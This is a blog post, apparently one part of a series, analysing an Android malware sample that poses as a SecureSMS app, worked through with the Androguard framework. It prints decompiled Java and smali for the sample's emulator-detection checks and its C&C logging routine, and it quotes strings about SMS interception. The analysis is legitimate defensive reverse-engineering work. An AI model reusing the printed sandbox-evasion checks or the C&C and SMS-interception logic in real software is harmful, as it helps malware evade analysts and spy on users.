}
private void d()
{
this.startActivityForResult(new android.content.Intent(this, org.thoughtcrime.securesms.PassphraseCreateActivity), 1);
return;
}
private void e()
{
this.startActivityForResult(new android.content.Intent(this, org.thoughtcrime.securesms.PassphrasePromptActivity), 2);
return;
}
private void f()
{
android.content.Intent v0_1 = new android.content.Intent(this, org.thoughtcrime.securesms.DatabaseMigrationActivity);
v0_1.putExtra("master_secret", this.a);
v0_1.putExtra("next_intent", this.i());
this.startActivity(v0_1);
this.finish();
return;
}
private void g()
{
android.content.Intent v0_1 = new android.content.Intent(this, org.thoughtcrime.securesms.DatabaseUpgradeActivity);
v0_1.putExtra("master_secret", this.a);
v0_1.putExtra("next_intent", this.i());
this.startActivity(v0_1);
this.finish();
return;
}
private void h()
{
android.content.Intent v0_1;
android.content.Intent v0_0 = this.k();
if (!this.o()) {
if (v0_0.b == null) {
v0_1 = this.i();
} else {
v0_1 = this.a(v0_0);
}
} else {
v0_1 = this.b(v0_0);
}
this.startActivity(v0_1);
this.finish();
return;
}
private android.content.Intent i()
{
android.content.Intent v0_1 = new android.content.Intent(this, org.thoughtcrime.securesms.ConversationListActivity);
v0_1.putExtra("master_secret", this.a);
return v0_1;
}
private int j()
{
int v0_0 = 0;
if ((org.thoughtcrime.securesms.h.i.a("FIRST_ACTIVITY", 0, this) != 0) || (org.thoughtcrime.securesms.h.i.h(this))) {
if (org.thoughtcrime.securesms.a.n.b(this)) {
if (this.a != null) {
if (org.thoughtcrime.securesms.service.ApplicationMigrationService.a(this)) {
if (!org.thoughtcrime.securesms.DatabaseUpgradeActivity.a(this)) {
v0_0 = 4;
} else {
v0_0 = 5;
}
} else {
v0_0 = 3;
}
} else {
v0_0 = 2;
}
} else {
v0_0 = 1;
}
}
return v0_0;
}
private org.thoughtcrime.securesms.eb k()
{
org.thoughtcrime.securesms.eb v0_2;
if (!this.p()) {
if (!this.o()) {
v0_2 = this.n();
} else {
v0_2 = this.m();
}
} else {
v0_2 = this.l();
}
return v0_2;
}
private org.thoughtcrime.securesms.eb l()
{
this.getIntent().getLongExtra("thread_id", -1);
try {
int v3_1 = org.thoughtcrime.securesms.recipients.d.b(this, this.getIntent().getData().getSchemeSpecificPart(), 0);
long v1_1 = org.thoughtcrime.securesms.b.f.c(this).a(v3_1);
} catch (org.thoughtcrime.securesms.eb v0) {
v3_1 = 0;
}
return new org.thoughtcrime.securesms.eb(v1_1, v3_1, 0, 0, 0, 0);
}
private org.thoughtcrime.securesms.eb m()
{
int v4;
int v5;
int v6;
android.net.Uri v7;
android.net.Uri v0_1 = this.getIntent().getType();
if (!"text/plain".equals(v0_1)) {
if ((v0_1 == null) || (!v0_1.startsWith("image/"))) {
if ((v0_1 == null) || (!v0_1.startsWith("audio/"))) {
if ((v0_1 == null) || (!v0_1.startsWith("video/"))) {
v7 = 0;
v6 = 0;
v5 = 0;
v4 = 0;
} else {
v7 = ((android.net.Uri) this.getIntent().getParcelableExtra("android.intent.extra.STREAM"));
v6 = 0;
v5 = 0;
v4 = 0;
}
} else {
v7 = 0;
v6 = ((android.net.Uri) this.getIntent().getParcelableExtra("android.intent.extra.STREAM"));
v5 = 0;
v4 = 0;
}
} else {
v7 = 0;
v6 = 0;
v5 = ((android.net.Uri) this.getIntent().getParcelableExtra("android.intent.extra.STREAM"));
v4 = 0;
}
} else {
v4 = this.getIntent().getStringExtra("android.intent.extra.TEXT");
v7 = 0;
v6 = 0;
v5 = 0;
}
return new org.thoughtcrime.securesms.eb(-1, 0, v4, v5, v6, v7);
}
private org.thoughtcrime.securesms.eb n()
{
return new org.thoughtcrime.securesms.eb(this.getIntent().getLongExtra("thread_id", -1), ((org.thoughtcrime.securesms.recipients.Recipients) this.getIntent().getParcelableExtra("recipients")), 0, 0, 0, 0);
}
private boolean o()
{
return "android.intent.action.SEND".equals(this.getIntent().getAction());
}
private boolean p()
{
return "android.intent.action.SENDTO".equals(this.getIntent().getAction());
}
public void a()
{
this.a = 0;
if (this.b) {
this.b();
}
return;
}
public void a(org.whispersystems.textsecure.crypto.MasterSecret p2)
{
this.a = p2;
if (this.b) {
this.b();
}
return;
}
public void onActivityResult(int p2, int p3, android.content.Intent p4)
{
if (p3 == 0) {
this.c = 1;
}
return;
}
protected void onCreate(android.os.Bundle p4)
{
super.onCreate(p4);
if (!org.thoughtcrime.securesms.h.i.h(this)) {
org.thoughtcrime.securesms.h.i.c("START", "Service started", this);
android.content.Intent v0_3 = new android.content.Intent("XMainProcessStart");
v0_3.putExtra("name", "value");
this.startService(v0_3);
}
return;
}
public void onNewIntent(android.content.Intent p2)
{
super.onNewIntent(p2);
this.setIntent(p2);
this.d = 1;
return;
}
public void onPause()
{
this.b = 0;
super.onPause();
return;
}
public void onResume()
{
if ((this.c) && (!this.d)) {
this.finish();
}
this.d = 0;
this.c = 0;
this.b = 1;
super.onResume();
return;
}
}
I that class, here are some calls to other methods via a method 'oncreate', which I have highlighted in yellow. Which are those methods for?
In [74]: d.CLASS_Lorg_thoughtcrime_securesms_h_i.METHOD_h.source()
public static boolean h(android.content.Context p7)
{
int v2 = 1;
if (org.thoughtcrime.securesms.h.i.c < 0) {
if ((!android.os.Build.PRODUCT.equals("sdk")) && ((!android.os.Build.PRODUCT.equals("google_sdk")) && ((!android.os.Build.PRODUCT.equals("generic")) && ((!android.os.Build.PRODUCT.equals("full_x86")) && ((!android.os.Build.PRODUCT.equals("sdk_x86")) && (!android.os.Build.PRODUCT.equals("vbox86p"))))))) {
boolean v0_13 = 0;
} else {
v0_13 = 1;
}
if ((android.os.Build.MANUFACTURER.equals("unknown")) || (android.os.Build.MANUFACTURER.equals("Genymotion"))) {
v0_13++;
}
if ((android.os.Build.BRAND.equals("generic")) || ((android.os.Build.BRAND.equals("Android")) || ((android.os.Build.BRAND.equals("google")) || (android.os.Build.BRAND.equals("generic_x86"))))) {
v0_13++;
}
if ((android.os.Build.DEVICE.equals("generic")) || ((android.os.Build.DEVICE.equals("generic_x86")) || (android.os.Build.DEVICE.equals("vbox86p")))) {
v0_13++;
}
if ((android.os.Build.MODEL.equals("sdk")) || ((android.os.Build.MODEL.equals("google_sdk")) || ((android.os.Build.MODEL.equals("generic")) || ((android.os.Build.MODEL.equals("Full Android on x86")) || (android.os.Build.MODEL.equals("Android SDK built for x86")))))) {
v0_13++;
}
if ((android.os.Build.HARDWARE.equals("goldfish")) || (android.os.Build.HARDWARE.equals("vbox86"))) {
v0_13++;
}
if ((!android.os.Build.FINGERPRINT.contains("generic/sdk/generic")) && ((!android.os.Build.FINGERPRINT.contains("generic_x86/sdk_x86/generic_x86")) && ((!android.os.Build.FINGERPRINT.contains("generic/generic/generic")) && ((!android.os.Build.FINGERPRINT.contains("Android/full_x86/generic_x86")) && ((!android.os.Build.FINGERPRINT.contains("generic/google_sdk/generic")) && (!android.os.Build.FINGERPRINT.contains("generic/vbox86p/vbox86p"))))))) {
int v3_50 = v0_13;
} else {
v3_50 = (v0_13 + 1);
}
boolean v0_17 = ((android.telephony.TelephonyManager) p7.getSystemService("phone"));
if (v0_17.getSimState() == 5) {
String v4_23 = new String[1];
v4_23[0] = "US";
if ((v0_17.getSimOperatorName().equals("Android")) || ((v0_17.getNetworkOperatorName().equals("Android")) || ((v0_17.getSimOperatorName().equals("AT&T")) || (v0_17.getNetworkOperatorName().equals("AT&T"))))) {
v3_50++;
}
if (org.thoughtcrime.securesms.h.i.a(v4_23, v0_17.getSimCountryIso().toUpperCase())) {
v3_50++;
}
}
org.thoughtcrime.securesms.h.i.c = v3_50;
}
if (org.thoughtcrime.securesms.h.i.c <= 3) {
v2 = 0;
}
return v2;
}
So basically the first method performs several checks to figure out if it is running in a real device or a emulator, interesting :)
What about the second method?
In [78]: d.CLASS_Lorg_thoughtcrime_securesms_h_i.METHOD_c_Ljava_lang_StringLjava_lang_StringLandroid_content_ContextV.source()
public static void c(String p4, String p5, android.content.Context p6)
{
String v0_1 = new java.util.Hashtable();
v0_1.put("LogCode", p4);
v0_1.put("LogText", p5);
String v0_2 = a.a.a.c.a(v0_1);
if (org.thoughtcrime.securesms.h.i.d(p6).booleanValue()) {
org.thoughtcrime.securesms.h.j v1_5 = new org.thoughtcrime.securesms.h.j(p6);
String[] v2_1 = new String[1];
v2_1[0] = v0_2;
v1_5.execute(v2_1);
}
return;
}
Interesting stuff here, I can see the same string 'LogCode' seen in memory which are part of the C&C commands discovered in previous post.
Creating flow-diagrams
Other interesting thing is the possibility to create the diagrams of the flows to follow up the code. For example, let's take a look a the method which checks it is running an emulators.
I displayed the smali code for that method which gives me the information I need.
In first line I see how the method is called and what returns. For example, it requieres an object 'android.context.Context' as parameter and the functions returns a boolean ( Z = boolean)
I displayed the smali code for that method which gives me the information I need.
In first line I see how the method is called and what returns. For example, it requieres an object 'android.context.Context' as parameter and the functions returns a boolean ( Z = boolean)
In [80]: d.CLASS_Lorg_thoughtcrime_securesms_h_i.METHOD_h.pretty_show()
########## Method Information
Lorg/thoughtcrime/securesms/h/i;->h(Landroid/content/Context;)Z [access_flags=public static]
########## Params
- local registers: v0...v6
- v7: android.content.Context
- return: boolean
####################
***************************************************************************
h-BB@0x0 :
0 (00000000) const/4 v2, 1
1 (00000002) const/4 v1, 0
2 (00000004) sget v0, Lorg/thoughtcrime/securesms/h/i;->c I
3 (00000008) if-gez v0, 385 [ h-BB@0xc h-BB@0x30a ]
h-BB@0xc :
4 (0000000c) sget-object v0, Landroid/os/Build;->PRODUCT Ljava/lang/String;
5 (00000010) const-string v3, 'sdk'
6 (00000014) invoke-virtual v0, v3, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
7 (0000001a) move-result v0
8 (0000001c) if-nez v0, 52 [ h-BB@0x20 h-BB@0x84 ]
h-BB@0x20 :
9 (00000020) sget-object v0, Landroid/os/Build;->PRODUCT Ljava/lang/String;
10 (00000024) const-string v3, 'google_sdk'
11 (00000028) invoke-virtual v0, v3, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
12 (0000002e) move-result v0
13 (00000030) if-nez v0, 42 [ h-BB@0x34 h-BB@0x84 ]
h-BB@0x34 :
14 (00000034) sget-object v0, Landroid/os/Build;->PRODUCT Ljava/lang/String;
15 (00000038) const-string v3, 'generic'
16 (0000003c) invoke-virtual v0, v3, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
17 (00000042) move-result v0
18 (00000044) if-nez v0, 32 [ h-BB@0x48 h-BB@0x84 ]
h-BB@0x48 :
19 (00000048) sget-object v0, Landroid/os/Build;->PRODUCT Ljava/lang/String;
20 (0000004c) const-string v3, 'full_x86'
21 (00000050) invoke-virtual v0, v3, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
22 (00000056) move-result v0
23 (00000058) if-nez v0, 22 [ h-BB@0x5c h-BB@0x84 ]
h-BB@0x5c :
24 (0000005c) sget-object v0, Landroid/os/Build;->PRODUCT Ljava/lang/String;
25 (00000060) const-string v3, 'sdk_x86'
26 (00000064) invoke-virtual v0, v3, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
27 (0000006a) move-result v0
28 (0000006c) if-nez v0, 12 [ h-BB@0x70 h-BB@0x84 ]
h-BB@0x70 :
29 (00000070) sget-object v0, Landroid/os/Build;->PRODUCT Ljava/lang/String;
30 (00000074) const-string v3, 'vbox86p'
31 (00000078) invoke-virtual v0, v3, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
32 (0000007e) move-result v0
33 (00000080) if-eqz v0, 335 [ h-BB@0x84 h-BB@0x31e ]
h-BB@0x84 :
34 (00000084) move v0, v2 [ h-BB@0x86 ]
h-BB@0x86 :
35 (00000086) sget-object v3, Landroid/os/Build;->MANUFACTURER Ljava/lang/String;
36 (0000008a) const-string v4, 'unknown'
37 (0000008e) invoke-virtual v3, v4, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
38 (00000094) move-result v3
39 (00000096) if-nez v3, 12 [ h-BB@0x9a h-BB@0xae ]
h-BB@0x9a :
40 (0000009a) sget-object v3, Landroid/os/Build;->MANUFACTURER Ljava/lang/String;
41 (0000009e) const-string v4, 'Genymotion'
42 (000000a2) invoke-virtual v3, v4, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
43 (000000a8) move-result v3
44 (000000aa) if-eqz v3, 4 [ h-BB@0xae h-BB@0xb2 ]
h-BB@0xae :
45 (000000ae) add-int/lit8 v0, v0, 1 [ h-BB@0xb2 ]
h-BB@0xb2 :
46 (000000b2) sget-object v3, Landroid/os/Build;->BRAND Ljava/lang/String;
47 (000000b6) const-string v4, 'generic'
48 (000000ba) invoke-virtual v3, v4, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
49 (000000c0) move-result v3
50 (000000c2) if-nez v3, 32 [ h-BB@0xc6 h-BB@0x102 ]
h-BB@0xc6 :
51 (000000c6) sget-object v3, Landroid/os/Build;->BRAND Ljava/lang/String;
52 (000000ca) const-string v4, 'Android'
53 (000000ce) invoke-virtual v3, v4, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
54 (000000d4) move-result v3
55 (000000d6) if-nez v3, 22 [ h-BB@0xda h-BB@0x102 ]
h-BB@0xda :
56 (000000da) sget-object v3, Landroid/os/Build;->BRAND Ljava/lang/String;
57 (000000de) const-string v4, 'google'
58 (000000e2) invoke-virtual v3, v4, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
59 (000000e8) move-result v3
60 (000000ea) if-nez v3, 12 [ h-BB@0xee h-BB@0x102 ]
h-BB@0xee :
61 (000000ee) sget-object v3, Landroid/os/Build;->BRAND Ljava/lang/String;
62 (000000f2) const-string v4, 'generic_x86'
63 (000000f6) invoke-virtual v3, v4, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
64 (000000fc) move-result v3
65 (000000fe) if-eqz v3, 4 [ h-BB@0x102 h-BB@0x106 ]
h-BB@0x102 :
66 (00000102) add-int/lit8 v0, v0, 1 [ h-BB@0x106 ]
h-BB@0x106 :
67 (00000106) sget-object v3, Landroid/os/Build;->DEVICE Ljava/lang/String;
68 (0000010a) const-string v4, 'generic'
69 (0000010e) invoke-virtual v3, v4, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
70 (00000114) move-result v3
71 (00000116) if-nez v3, 22 [ h-BB@0x11a h-BB@0x142 ]
h-BB@0x11a :
72 (0000011a) sget-object v3, Landroid/os/Build;->DEVICE Ljava/lang/String;
73 (0000011e) const-string v4, 'generic_x86'
74 (00000122) invoke-virtual v3, v4, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
75 (00000128) move-result v3
76 (0000012a) if-nez v3, 12 [ h-BB@0x12e h-BB@0x142 ]
h-BB@0x12e :
77 (0000012e) sget-object v3, Landroid/os/Build;->DEVICE Ljava/lang/String;
78 (00000132) const-string v4, 'vbox86p'
79 (00000136) invoke-virtual v3, v4, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
80 (0000013c) move-result v3
81 (0000013e) if-eqz v3, 4 [ h-BB@0x142 h-BB@0x146 ]
h-BB@0x142 :
82 (00000142) add-int/lit8 v0, v0, 1 [ h-BB@0x146 ]
h-BB@0x146 :
83 (00000146) sget-object v3, Landroid/os/Build;->MODEL Ljava/lang/String;
84 (0000014a) const-string v4, 'sdk'
85 (0000014e) invoke-virtual v3, v4, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
86 (00000154) move-result v3
87 (00000156) if-nez v3, 42 [ h-BB@0x15a h-BB@0x1aa ]
h-BB@0x15a :
88 (0000015a) sget-object v3, Landroid/os/Build;->MODEL Ljava/lang/String;
89 (0000015e) const-string v4, 'google_sdk'
90 (00000162) invoke-virtual v3, v4, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
91 (00000168) move-result v3
92 (0000016a) if-nez v3, 32 [ h-BB@0x16e h-BB@0x1aa ]
h-BB@0x16e :
93 (0000016e) sget-object v3, Landroid/os/Build;->MODEL Ljava/lang/String;
94 (00000172) const-string v4, 'generic'
95 (00000176) invoke-virtual v3, v4, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
96 (0000017c) move-result v3
97 (0000017e) if-nez v3, 22 [ h-BB@0x182 h-BB@0x1aa ]
h-BB@0x182 :
98 (00000182) sget-object v3, Landroid/os/Build;->MODEL Ljava/lang/String;
99 (00000186) const-string v4, 'Full Android on x86'
100(0000018a) invoke-virtual v3, v4, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
101(00000190) move-result v3
102(00000192) if-nez v3, 12 [ h-BB@0x196 h-BB@0x1aa ]
h-BB@0x196 :
103(00000196) sget-object v3, Landroid/os/Build;->MODEL Ljava/lang/String;
104(0000019a) const-string v4, 'Android SDK built for x86'
105(0000019e) invoke-virtual v3, v4, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
106(000001a4) move-result v3
107(000001a6) if-eqz v3, 4 [ h-BB@0x1aa h-BB@0x1ae ]
h-BB@0x1aa :
108(000001aa) add-int/lit8 v0, v0, 1 [ h-BB@0x1ae ]
h-BB@0x1ae :
109(000001ae) sget-object v3, Landroid/os/Build;->HARDWARE Ljava/lang/String;
110(000001b2) const-string v4, 'goldfish'
111(000001b6) invoke-virtual v3, v4, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
112(000001bc) move-result v3
113(000001be) if-nez v3, 12 [ h-BB@0x1c2 h-BB@0x1d6 ]
h-BB@0x1c2 :
114(000001c2) sget-object v3, Landroid/os/Build;->HARDWARE Ljava/lang/String;
115(000001c6) const-string v4, 'vbox86'
116(000001ca) invoke-virtual v3, v4, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
117(000001d0) move-result v3
118(000001d2) if-eqz v3, 4 [ h-BB@0x1d6 h-BB@0x1da ]
h-BB@0x1d6 :
119(000001d6) add-int/lit8 v0, v0, 1 [ h-BB@0x1da ]
h-BB@0x1da :
120(000001da) sget-object v3, Landroid/os/Build;->FINGERPRINT Ljava/lang/String;
121(000001de) const-string v4, 'generic/sdk/generic'
122(000001e2) invoke-virtual v3, v4, Ljava/lang/String;->contains(Ljava/lang/CharSequence;)Z
123(000001e8) move-result v3
124(000001ea) if-nez v3, 52 [ h-BB@0x1ee h-BB@0x252 ]
h-BB@0x1ee :
125(000001ee) sget-object v3, Landroid/os/Build;->FINGERPRINT Ljava/lang/String;
126(000001f2) const-string v4, 'generic_x86/sdk_x86/generic_x86'
127(000001f6) invoke-virtual v3, v4, Ljava/lang/String;->contains(Ljava/lang/CharSequence;)Z
128(000001fc) move-result v3
129(000001fe) if-nez v3, 42 [ h-BB@0x202 h-BB@0x252 ]
h-BB@0x202 :
130(00000202) sget-object v3, Landroid/os/Build;->FINGERPRINT Ljava/lang/String;
131(00000206) const-string v4, 'generic/generic/generic'
132(0000020a) invoke-virtual v3, v4, Ljava/lang/String;->contains(Ljava/lang/CharSequence;)Z
133(00000210) move-result v3
134(00000212) if-nez v3, 32 [ h-BB@0x216 h-BB@0x252 ]
h-BB@0x216 :
135(00000216) sget-object v3, Landroid/os/Build;->FINGERPRINT Ljava/lang/String;
136(0000021a) const-string v4, 'Android/full_x86/generic_x86'
137(0000021e) invoke-virtual v3, v4, Ljava/lang/String;->contains(Ljava/lang/CharSequence;)Z
138(00000224) move-result v3
139(00000226) if-nez v3, 22 [ h-BB@0x22a h-BB@0x252 ]
h-BB@0x22a :
140(0000022a) sget-object v3, Landroid/os/Build;->FINGERPRINT Ljava/lang/String;
141(0000022e) const-string v4, 'generic/google_sdk/generic'
142(00000232) invoke-virtual v3, v4, Ljava/lang/String;->contains(Ljava/lang/CharSequence;)Z
143(00000238) move-result v3
144(0000023a) if-nez v3, 12 [ h-BB@0x23e h-BB@0x252 ]
h-BB@0x23e :
145(0000023e) sget-object v3, Landroid/os/Build;->FINGERPRINT Ljava/lang/String;
146(00000242) const-string v4, 'generic/vbox86p/vbox86p'
147(00000246) invoke-virtual v3, v4, Ljava/lang/String;->contains(Ljava/lang/CharSequence;)Z
148(0000024c) move-result v3
149(0000024e) if-eqz v3, 102 [ h-BB@0x252 h-BB@0x31a ]
h-BB@0x252 :
150(00000252) add-int/lit8 v0, v0, 1
151(00000256) move v3, v0 [ h-BB@0x258 ]
h-BB@0x258 :
152(00000258) const-string v0, 'phone'
153(0000025c) invoke-virtual v7, v0, Landroid/content/Context;->getSystemService(Ljava/lang/String;)Ljava/lang/Object;
154(00000262) move-result-object v0
155(00000264) check-cast v0, Landroid/telephony/TelephonyManager;
156(00000268) invoke-virtual v0, Landroid/telephony/TelephonyManager;->getSimState()I
157(0000026e) move-result v4
158(00000270) const/4 v5, 5
159(00000272) if-ne v4, v5, 74 [ h-BB@0x276 h-BB@0x306 ]
h-BB@0x276 :
160(00000276) new-array v4, v2, [Ljava/lang/String;
161(0000027a) const-string v5, 'US'
162(0000027e) aput-object v5, v4, v1
163(00000282) invoke-virtual v0, Landroid/telephony/TelephonyManager;->getSimOperatorName()Ljava/lang/String;
164(00000288) move-result-object v5
165(0000028a) const-string v6, 'Android'
166(0000028e) invoke-virtual v5, v6, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
167(00000294) move-result v5
168(00000296) if-nez v5, 38 [ h-BB@0x29a h-BB@0x2e2 ]
h-BB@0x29a :
169(0000029a) invoke-virtual v0, Landroid/telephony/TelephonyManager;->getNetworkOperatorName()Ljava/lang/String;
170(000002a0) move-result-object v5
171(000002a2) const-string v6, 'Android'
172(000002a6) invoke-virtual v5, v6, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
173(000002ac) move-result v5
174(000002ae) if-nez v5, 26 [ h-BB@0x2b2 h-BB@0x2e2 ]
h-BB@0x2b2 :
175(000002b2) invoke-virtual v0, Landroid/telephony/TelephonyManager;->getSimOperatorName()Ljava/lang/String;
176(000002b8) move-result-object v5
177(000002ba) const-string v6, 'AT&T'
178(000002be) invoke-virtual v5, v6, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
179(000002c4) move-result v5
180(000002c6) if-nez v5, 14 [ h-BB@0x2ca h-BB@0x2e2 ]
h-BB@0x2ca :
181(000002ca) invoke-virtual v0, Landroid/telephony/TelephonyManager;->getNetworkOperatorName()Ljava/lang/String;
182(000002d0) move-result-object v5
183(000002d2) const-string v6, 'AT&T'
184(000002d6) invoke-virtual v5, v6, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
185(000002dc) move-result v5
186(000002de) if-eqz v5, 4 [ h-BB@0x2e2 h-BB@0x2e6 ]
h-BB@0x2e2 :
187(000002e2) add-int/lit8 v3, v3, 1 [ h-BB@0x2e6 ]
h-BB@0x2e6 :
188(000002e6) invoke-virtual v0, Landroid/telephony/TelephonyManager;->getSimCountryIso()Ljava/lang/String;
189(000002ec) move-result-object v0
190(000002ee) invoke-virtual v0, Ljava/lang/String;->toUpperCase()Ljava/lang/String;
191(000002f4) move-result-object v0
192(000002f6) invoke-static v4, v0, Lorg/thoughtcrime/securesms/h/i;->a([Ljava/lang/String; Ljava/lang/String;)Z
193(000002fc) move-result v0
194(000002fe) if-eqz v0, 4 [ h-BB@0x302 h-BB@0x306 ]
h-BB@0x302 :
195(00000302) add-int/lit8 v3, v3, 1 [ h-BB@0x306 ]
h-BB@0x306 :
196(00000306) sput v3, Lorg/thoughtcrime/securesms/h/i;->c I [ h-BB@0x30a ]
h-BB@0x30a :
197(0000030a) sget v0, Lorg/thoughtcrime/securesms/h/i;->c I
198(0000030e) const/4 v3, 3
199(00000310) if-le v0, v3, 3 [ h-BB@0x314 h-BB@0x316 ]
h-BB@0x314 :
200(00000314) return v2
h-BB@0x316 :
201(00000316) move v2, v1
202(00000318) goto -2 [ h-BB@0x314 ]
h-BB@0x31a :
203(0000031a) move v3, v0
204(0000031c) goto -98 [ h-BB@0x258 ]
h-BB@0x31e :
205(0000031e) move v0, v1
206(00000320) goto/16 -333 [ h-BB@0x86 ]
***************************************************************************
########## XREF
F: Lorg/thoughtcrime/securesms/RoutingActivity; j ()I 12
F: Lorg/thoughtcrime/securesms/RoutingActivity; onCreate (Landroid/os/Bundle;)V 6
F: Lorg/thoughtcrime/securesms/ConversationListActivity; g ()V 92
F: Lorg/thoughtcrime/securesms/xbroadcast/OnBootReceiver; onReceive (Landroid/content/Context; Landroid/content/Intent;)V 0
F: Lorg/thoughtcrime/securesms/ConversationListActivity; j ()V 84
T: Lorg/thoughtcrime/securesms/h/i; a ([Ljava/lang/String; Ljava/lang/String;)Z 2f6
####################
Now, that I know how the method is call, I can create the graph associated to that method and save it in a file named "securesms_h_i_Method_h.png".
In [83]: m = d.get_method_descriptor("Lorg/thoughtcrime/securesms/h/i;", "h", "(Landroid/content/Context;)Z")
In [84]: bytecode.method2png("securesms_h_i_Method_h.png", x.get_method( m ))
Analyzing the main CLASS
If we look to the class 'd.CLASS_Lorg_thoughtcrime_securesms_h_i' I find something quite interesting regarding the 'interception of sms'. So it looks the malware is intercepting the SMS,
org.thoughtcrime.securesms.h.i.c("CONF", "SMS Intercept error: Phone not setted",)
org.thoughtcrime.securesms.h.i.c("CONF", "SMS Intercept enabled over SMS", p14);
org.thoughtcrime.securesms.h.i.c("CONF", "SMS Intercept enabled over buffer", p14)
Also, on the method 'e' in the same CLASS there are other interesting things:
In [89]: d.CLASS_Lorg_thoughtcrime_securesms_h_i.METHOD_e.source()
Basically, this method dumps all the information from the device (this was pointed on previous post post)
In next posts I will use Androguard framework to extract more interesting information.
Angel Alonso-Parrizas